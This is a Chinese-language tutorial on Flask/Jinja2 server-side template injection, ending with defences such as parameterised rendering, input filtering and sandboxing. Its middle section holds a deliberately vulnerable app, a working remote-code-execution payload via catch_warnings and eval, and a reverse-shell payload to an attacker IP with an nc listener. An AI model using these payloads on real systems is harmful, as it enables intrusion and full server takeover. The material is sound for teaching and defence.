Flask SSTI(服务器端模板注入)漏洞深度解析与实战教学
1. 漏洞概述
SSTI 全称为 Server-Side Template Injection,即服务器端模板注入漏洞。该漏洞发生在使用模板引擎的Web应用程序中,当攻击者能够将恶意代码注入模板并使其在服务器端执行时,就会导致严重的安全问题。
1.1 模板引擎的作用
模板引擎的核心目的是实现用户界面(UI)与业务数据的分离。开发者编写一个包含占位符的模板文件,模板引擎在运行时将动态数据(如用户名、文章内容)填充到占位符中,最终生成完整的HTML页面发送给用户浏览器。
1.2 SSTI 漏洞产生的根本原因
漏洞的根源在于开发者错误地将用户输入直接拼接到了模板字符串中,而非将其作为纯粹的“数据”传递给模板。
- 正确做法:用户输入被视为 “数据” ,仅用于替换模板中预定义的变量。例如:
Template("Hello {{ name }}").render(name=user_input) - 错误做法(导致漏洞):用户输入被直接拼接到模板字符串中,模板引擎会将其解析为 “模板代码” 并执行。例如:
Template("Hello " + user_input).render()
这种错误使得攻击者可以突破“数据”的界限,向模板中注入控制逻辑(如条件判断、循环)甚至访问底层Python环境,从而执行任意代码。
2. 漏洞复现环境搭建
2.1 漏洞代码示例
以下是一个存在SSTI漏洞的简单Flask应用代码(app.py):
from flask import Flask, request
from jinja2 import Template # 导入Jinja2模板引擎的Template类
app = Flask(__name__)
@app.route("/")
def index():
# 从URL参数中获取'name',默认为'guest'
name = request.args.get('name', 'guest')
# 【漏洞点】将用户输入(name)直接与模板字符串拼接
t = Template("Hello " + name)
# 渲染模板
return t.render()
if __name__ == "__main__":
app.run(debug=True) # 开启调试模式,方便观察错误
2.2 环境运行
- 确保已安装Flask和Jinja2:
pip install flask jinja2 - 运行Python脚本:
python app.py - 访问
http://127.0.0.1:5000
3. 漏洞利用与攻击链分析
3.1 初步探测
访问以下URL,测试模板注入是否可行:
http://127.0.0.1:5000/?name={{ 7 * 7 }}
如果页面上显示 Hello 49,则证明模板引擎执行了我们的数学运算,SSTI漏洞存在。
3.2 Jinja2的Python对象访问能力
Jinja2允许模板访问Python对象的属性和方法,这是攻击链得以构建的基础。例如:
{{ ''.__class__ }}会显示空字符串的类,即<class 'str'>。
3.3 构建攻击链实现命令执行
最终目标是执行系统命令。攻击思路是:从一个基本的、可访问的Python对象(如空字符串、空列表)出发,沿着类的继承链向上回溯,找到并实例化一个可以执行命令的类(如os.popen或subprocess.Popen)。
攻击链步骤详解:
-
获取对象所属类:
{{ ''.__class__ }}结果:
<class 'str'>。我们拿到了字符串类。 -
获取父类(基类):
{{ ''.__class__.__base__ }}结果:
<class 'object'>。在Python中,所有类最终都继承自object类。 -
获取所有子类:
{{ ''.__class__.__base__.__subclasses__() }}结果:一个包含大量类的列表。这里列出了Python环境中所有加载的、继承自
object的类。我们的目标是找到一个“跳板类”,它能让我们访问到危险函数(如eval,os)。 -
寻找跳板类并利用:
原文中以catch_warnings类为例。我们需要在返回的子类列表中寻找它,并利用其全局变量。
完整攻击Payload(用于读取系统命令id的结果):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
攻击链逐行解析:
| 代码步骤 | 解释 |
|---|---|
{% for c in [].__class__.__base__.__subclasses__() %} |
遍历所有继承自object的子类。这里使用空列表[]作为起点,与空字符串''异曲同工。 |
{% if c.__name__ == 'catch_warnings' %} |
筛选出类名为 catch_warnings 的类。这是一个常用的跳板类,因为它内部引用了有用的模块。 |
{% for b in c.__init__.__globals__.values() %} |
获取 catch_warnings 类的构造方法 __init__ 的全局变量字典(__globals__),并遍历其中的所有值。这个字典包含了该函数定义时所在模块的所有全局变量。 |
{% if b.__class__ == {}.__class__ %} |
检查遍历到的值 b 是否是一个字典对象。 |
{% if 'eval' in b.keys() %} |
检查这个字典 b 中是否包含名为 'eval' 的键。这通常指向Python的内建函数 eval。 |
{{ b['eval']('__import__("os").popen("id").read()') }} |
最终攻击:从字典 b 中取出 eval 函数,并执行一段字符串形式的Python代码:1. __import__("os"):动态导入os模块。2. popen("id"):执行系统命令 id。3. read():读取命令执行的结果。 |
跳板类的选择原则:
- 稳定性:优先选择Python标准库中默认加载、跨版本稳定的类。
- 可达性:确保该类可以通过基础对象(如
''或[])的继承链访问到。 - 可利用性:该类的构造方法(
__init__)的全局变量(__globals__)中必须包含敏感资源,如__builtins__、eval、os模块等。
3.4 进阶利用:反弹Shell
获取命令执行能力后,可以进一步获取交互式Shell。以下Payload用于反弹一个Shell到攻击机(192.168.109.165:8888):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("subprocess").Popen(["python3", "-c", "import socket,os,pty;s=socket.socket();s.connect((\\\"192.168.109.165\\\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"/bin/bash\\\")"], stdout=__import__("subprocess").PIPE, stderr=__import__("subprocess").PIPE)') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
攻击者需要在192.168.109.165上使用nc -lvnp 8888监听端口,成功执行后即可获得一个反向Shell。
4. 防御方案
杜绝SSTI漏洞的关键在于严格区分“代码”与“数据”。
4.1 正确的模板渲染方法
永远不要拼接用户输入到模板字符串中。 正确的做法是将用户输入作为参数传递给模板。
修复后的代码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
# 【安全写法】模板中使用变量占位符,用户输入作为参数传入
t = Template("Hello {{ n }}") # n是模板内的变量名
return t.render(n=name) # 将用户控制的name变量传递给模板变量n
if __name__ == "__main__":
app.run()
这样,即使用户输入包含{{ 7*7 }},也只会被当作普通文本显示为Hello {{ 7*7 }},而不会被解析执行。
4.2 输入验证与过滤
对用户输入进行严格的检查和过滤。
- 过滤特殊字符:对模板语法符号(如Jinja2的
{{,}},{%,%})进行转义或直接拒绝包含这些字符的输入。 - 关键字黑名单/白名单:限制用户输入中不能出现Python的敏感属性名(如
__class__,__globals__)和危险模块名(如os,subprocess)。但黑名单往往可能被绕过,白名单是更安全的选择。
4.3 使用模板引擎的安全特性
- 沙箱模式:Jinja2等模板引擎提供沙箱环境,可以限制模板访问危险的函数和属性。但沙箱逃逸技术也时有出现,不能完全依赖。
- 禁用敏感功能:在不需要复杂逻辑的场景下,禁用模板中的表达式执行等功能,只保留基本的变量替换。
5. 总结
Flask SSTI漏洞是一个高危漏洞,其本质是信任边界被破坏,将不可信的用户输入错误地提升为可执行的代码。防御的核心在于遵循 “数据与代码分离” 的原则,永远通过参数传递的方式将动态内容传递给模板。开发者应具备安全意识,在代码审查和开发过程中严格检查模板的渲染方式,从而从根本上避免此类漏洞的产生。
文档说明:本文档基于提供的链接内容生成,并对攻击链原理、Payload解析和防御方法进行了更为系统和详尽的阐述,确保关键知识点无遗漏。